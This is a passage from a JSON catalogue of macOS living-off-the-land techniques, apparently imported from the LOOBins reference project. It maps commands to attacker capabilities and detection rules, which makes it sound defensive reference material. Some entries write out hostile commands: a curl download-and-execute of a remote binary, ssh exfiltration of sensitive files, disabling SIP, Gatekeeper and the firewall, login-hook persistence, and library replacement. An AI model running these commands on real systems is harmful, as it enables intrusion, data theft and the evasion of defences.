daemon-sec-lotl

loobins.json (319277B)

---

 {
   "repository": "https://github.com/infosecB/LOOBins",
   "commit": "399e3c4bdddb55c7dc49beb20bfe43490eac1184",
   "license": "GPL-3.0",
   "techniques": [
     {
       "id": "loobins:GetFileInfo:764efced340d4784",
       "toolId": "loobins:GetFileInfo",
       "toolName": "GetFileInfo",
       "name": "Iterate through a directory to GetFileInfo",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "for FILE in ~/Downloads/*; do echo $(GetFileInfo $FILE) >> fileinfo.txt; sleep 2; done",
       "description": "A bash or zsh oneliner can provide an attacker with information about specific files of interest.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/GetFileInfo"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/GetFileInfo.yml",
         "https://macosbin.com/bin/getfileinfo"
       ]
     },
     {
       "id": "loobins:SetFile:16396f8014d822c7",
       "toolId": "loobins:SetFile",
       "toolName": "SetFile",
       "name": "Set a file or directory attribute to invisible",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Persistence",
         "Defense Evasion"
       ],
       "command": "for FILE in ~/*; do echo $(SetFile -a V $FILE && echo $(GetFileInfo $FILE)) >> /tmp/fileinfo.txt; sleep 2; done",
       "description": "A bash or zsh oneliner can allow an attacker to set the file attribute to invisible. This action can establish persistence and evade detection for malicious files on the system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/SetFile"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/SetFile.yml",
         "https://daringfireball.net/2008/04/the_invisible_bit"
       ]
     },
     {
       "id": "loobins:SetFile:60497c149294fffb",
       "toolId": "loobins:SetFile",
       "toolName": "SetFile",
       "name": "Change a file's creation and modification timestamps",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "SetFile -d \"04/25/2023 11:11:00\" -m \"04/25/2023 11:12:00\" targetfile.txt",
       "description": "Setfile can be used with the -d and -m arguments to alter a file's creation and modification date, respectively.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/SetFile"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/SetFile.yml",
         "https://daringfireball.net/2008/04/the_invisible_bit"
       ]
     },
     {
       "id": "loobins:caffeinate:eed3d0d746ebad74",
       "toolId": "loobins:caffeinate",
       "toolName": "caffeinate",
       "name": "Fork a process",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion"
       ],
       "command": "caffeinate -i /tmp/evil",
       "description": "Make caffeinate fork a process and hold an assertion that prevents idle sleep as long as that process is running",
       "mitre": [],
       "fullPath": [
         "/usr/bin/caffeinate"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/caffeinate.yml",
         "https://macosbin.com/bin/caffeinate",
         "https://ss64.com/osx/caffeinate.html"
       ]
     },
     {
       "id": "loobins:caffeinate:b64b930cbcc85165",
       "toolId": "loobins:caffeinate",
       "toolName": "caffeinate",
       "name": "Prevent a sleep",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "caffeinate -u -t 14400",
       "description": "Prevent a macOS from going to sleep for 4 hours (14400 seconds)",
       "mitre": [],
       "fullPath": [
         "/usr/bin/caffeinate"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/caffeinate.yml",
         "https://macosbin.com/bin/caffeinate",
         "https://ss64.com/osx/caffeinate.html"
       ]
     },
     {
       "id": "loobins:chflags:6dc222e2477a144c",
       "toolId": "loobins:chflags",
       "toolName": "chflags",
       "name": "Hide a file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "chflags hidden ~/evil",
       "description": "Add the hidden flag to a file or directory to prevent it from being \nvisible in Finder and Terminal.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/chflags"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Hidden Flag Set On File/Directory Via Chflags",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/chflags.yml",
         "https://ss64.com/mac/chflags.html",
         "https://macosbin.com/bin/chflags",
         "https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/"
       ]
     },
     {
       "id": "loobins:chflags:657af3584bd20804",
       "toolId": "loobins:chflags",
       "toolName": "chflags",
       "name": "Remove hidden flag",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "chflags nohidden ~/evil",
       "description": "Remove the hidden flag to a file or directory to make it visible in Finder\nand Terminal.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/chflags"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Hidden Flag Set On File/Directory Via Chflags",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/chflags.yml",
         "https://ss64.com/mac/chflags.html",
         "https://macosbin.com/bin/chflags",
         "https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/"
       ]
     },
     {
       "id": "loobins:codesign:7e467a3d8b50ed97",
       "toolId": "loobins:codesign",
       "toolName": "codesign",
       "name": "Ad-hoc codesigning an app bundle",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "codesign --force --deep -s - MyApp.app",
       "description": "This command forcefully re-signs the MyApp.app application with an ad-hoc signature, applying the signature deeply to all nested code within the app",
       "mitre": [],
       "fullPath": [
         "/usr/bin/codesign"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect ad-hoc codesigning activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/adhoc_codesigning.yaml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/codesign.yml",
         "https://www.sentinelone.com/blog/when-apple-admits-macos-malware-is-a-problem-its-time-to-take-notice/",
         "https://ss64.com/mac/codesign.html"
       ]
     },
     {
       "id": "loobins:csrutil:26103c8c140bf3a9",
       "toolId": "loobins:csrutil",
       "toolName": "csrutil",
       "name": "Disable SIP",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "csrutil disable",
       "description": "disable SIP (System Integrity Protection) - requires booting into recovery mode",
       "mitre": [],
       "fullPath": [
         "/usr/bin/csrutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: System Integrity Protection (SIP) Disabled",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml"
         },
         {
           "type": "Sigma: System Integrity Protection (SIP) Enumeration",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml",
         "https://developer.apple.com/forums/thread/4002",
         "https://attack.mitre.org/techniques/T1518/001/",
         "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"
       ]
     },
     {
       "id": "loobins:csrutil:a0a1b78e4d71e620",
       "toolId": "loobins:csrutil",
       "toolName": "csrutil",
       "name": "Disable authenticated-root",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "csrutil authenticated-root disable",
       "description": "When authenticated-root is disabled, booting is allowed from non-sealed system snapshots - requires booting into recovery mode",
       "mitre": [],
       "fullPath": [
         "/usr/bin/csrutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: System Integrity Protection (SIP) Disabled",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml"
         },
         {
           "type": "Sigma: System Integrity Protection (SIP) Enumeration",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml",
         "https://developer.apple.com/forums/thread/4002",
         "https://attack.mitre.org/techniques/T1518/001/",
         "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"
       ]
     },
     {
       "id": "loobins:csrutil:bc2665f645a68439",
       "toolId": "loobins:csrutil",
       "toolName": "csrutil",
       "name": "Add a netboot server",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "csrutil netboot add <address>",
       "description": "Insert a new IPv4 address in the list of allowed NetBoot sources",
       "mitre": [],
       "fullPath": [
         "/usr/bin/csrutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: System Integrity Protection (SIP) Disabled",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml"
         },
         {
           "type": "Sigma: System Integrity Protection (SIP) Enumeration",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml",
         "https://developer.apple.com/forums/thread/4002",
         "https://attack.mitre.org/techniques/T1518/001/",
         "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"
       ]
     },
     {
       "id": "loobins:csrutil:3e74e76040ed06ba",
       "toolId": "loobins:csrutil",
       "toolName": "csrutil",
       "name": "Map infrastructure",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Reconnaissance",
         "Discovery"
       ],
       "command": "csrutil netboot list",
       "description": "List allowed NetBoot sources",
       "mitre": [],
       "fullPath": [
         "/usr/bin/csrutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: System Integrity Protection (SIP) Disabled",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml"
         },
         {
           "type": "Sigma: System Integrity Protection (SIP) Enumeration",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml",
         "https://developer.apple.com/forums/thread/4002",
         "https://attack.mitre.org/techniques/T1518/001/",
         "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"
       ]
     },
     {
       "id": "loobins:csrutil:33a98a8b396dd6ec",
       "toolId": "loobins:csrutil",
       "toolName": "csrutil",
       "name": "Determine if SIP is enabled",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "csrutil status",
       "description": "Determine if System Integrity Protection is enabled",
       "mitre": [],
       "fullPath": [
         "/usr/bin/csrutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: System Integrity Protection (SIP) Disabled",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml"
         },
         {
           "type": "Sigma: System Integrity Protection (SIP) Enumeration",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml",
         "https://developer.apple.com/forums/thread/4002",
         "https://attack.mitre.org/techniques/T1518/001/",
         "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"
       ]
     },
     {
       "id": "loobins:defaults:2be370c95286961d",
       "toolId": "loobins:defaults",
       "toolName": "defaults",
       "name": "Disable Gatekeeper's auto rearm functionality",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "sudo defaults write /Library/Preferences/com.apple.security GKAutoRearm -bool NO",
       "description": "The following command can be used to disable Gatekeepers rearm functionality. This command requires root privileges.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/defaults"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml",
         "https://macos-defaults.com/",
         "https://www.huntress.com/blog/insistence-on-persistence"
       ]
     },
     {
       "id": "loobins:defaults:8f051a66b5fb0607",
       "toolId": "loobins:defaults",
       "toolName": "defaults",
       "name": "Show mounted servers",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "defaults read com.apple.finder \"ShowMountedServersOnDesktop\"",
       "description": "Show all mounted servers on the desktop.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/defaults"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml",
         "https://macos-defaults.com/",
         "https://www.huntress.com/blog/insistence-on-persistence"
       ]
     },
     {
       "id": "loobins:defaults:4052ddb76eee1951",
       "toolId": "loobins:defaults",
       "toolName": "defaults",
       "name": "Add a login item to the current user",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "sudo defaults write /Library/Preferences/com.apple.loginwindow LoginHook gain_persistence.sh",
       "description": "An attacker can use defaults to add a login hook in attempt to gain persistence. This command requires root privileges.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/defaults"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml",
         "https://macos-defaults.com/",
         "https://www.huntress.com/blog/insistence-on-persistence"
       ]
     },
     {
       "id": "loobins:defaults:16d24c230e14950e",
       "toolId": "loobins:defaults",
       "toolName": "defaults",
       "name": "Get Active Directory user info from Jamf Connect",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "defaults read com.jamf.connect.state",
       "description": "Retrieve Active Directory user info from Jamf Connect defaults configuration.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/defaults"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml",
         "https://macos-defaults.com/",
         "https://www.huntress.com/blog/insistence-on-persistence"
       ]
     },
     {
       "id": "loobins:defaults:1600168e079bee30",
       "toolId": "loobins:defaults",
       "toolName": "defaults",
       "name": "Enable Firewall",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1",
       "description": "Enables macOS' default firewall. This command requires root privileges.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/defaults"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml",
         "https://macos-defaults.com/",
         "https://www.huntress.com/blog/insistence-on-persistence"
       ]
     },
     {
       "id": "loobins:defaults:72f81c54c9acbf93",
       "toolId": "loobins:defaults",
       "toolName": "defaults",
       "name": "Disable Firewall",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0",
       "description": "Disables macOS' default firewall. This command requires root privileges.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/defaults"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml",
         "https://macos-defaults.com/",
         "https://www.huntress.com/blog/insistence-on-persistence"
       ]
     },
     {
       "id": "loobins:disown:e2c68d9f80308eca",
       "toolId": "loobins:disown",
       "toolName": "disown",
       "name": "Start a process and remove it from the jobs table.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal",
       "description": "The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.",
       "mitre": [],
       "fullPath": [
         "shell built-in command (bash)"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content at time of writing",
           "value": "No detection content at time of writing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/disown.yml",
         "https://linux.die.net/man/1/disown",
         "https://man7.org/linux/man-pages/man1/bash.1.html",
         "https://www.esentire.com/blog/poseidon-stealer-uses-sora-ai-lure-to-infect-macos"
       ]
     },
     {
       "id": "loobins:ditto:a669d3fe27d2b814",
       "toolId": "loobins:ditto",
       "toolName": "ditto",
       "name": "Copy and compress sensitive data locally",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection",
         "Exfiltration"
       ],
       "command": "ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip",
       "description": "The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/ditto"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content at time of writing",
           "value": "No detection content at time of writing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml",
         "https://ss64.com/osx/ditto.html",
         "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/",
         "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/"
       ]
     },
     {
       "id": "loobins:ditto:3956e8036c3f0ecc",
       "toolId": "loobins:ditto",
       "toolName": "ditto",
       "name": "Remove extended attributes from a file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection"
       ],
       "nativeCategory": [
         "Collection",
         "Exfiltration"
       ],
       "command": "ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null",
       "description": "ditto can be used to bypass Gatekeeper by removing the \"com.apple.quarantine\" extended attribute.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/ditto"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content at time of writing",
           "value": "No detection content at time of writing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml",
         "https://ss64.com/osx/ditto.html",
         "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/",
         "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/"
       ]
     },
     {
       "id": "loobins:ditto:cdd3c14f73ed66d6",
       "toolId": "loobins:ditto",
       "toolName": "ditto",
       "name": "Copy, compress, and transfer sensitive data to a remote macOS host",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection",
         "Lateral Movement",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Collection",
         "Exfiltration",
         "Lateral Movement",
         "Defense Evasion"
       ],
       "command": "ditto -c --norsrc /home/user/sensitive-files - | ssh remote_host ditto -x --norsrc - /home/user/l00t",
       "description": "The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/ditto"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content at time of writing",
           "value": "No detection content at time of writing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml",
         "https://ss64.com/osx/ditto.html",
         "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/",
         "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/"
       ]
     },
     {
       "id": "loobins:ditto:46f00f81c5001006",
       "toolId": "loobins:ditto",
       "toolName": "ditto",
       "name": "DLL hijacking",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib",
       "description": "Replace a legitimate library with a malicious one while maintaining the original file permissions and attributes.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/ditto"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detection content at time of writing",
           "value": "No detection content at time of writing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml",
         "https://ss64.com/osx/ditto.html",
         "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/",
         "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/"
       ]
     },
     {
       "id": "loobins:dns-sd:53f3998acc18fff6",
       "toolId": "loobins:dns-sd",
       "toolName": "dns-sd",
       "name": "Discover SSH hosts",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dns-sd -B _ssh._tcp",
       "description": "Hosts serving SSH can be discovered using the _ssh._tcp service string.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dns-sd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect dns-sd discovery activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml",
         "https://themittenmac.com/what-does-apt-activity-look-like-on-macos",
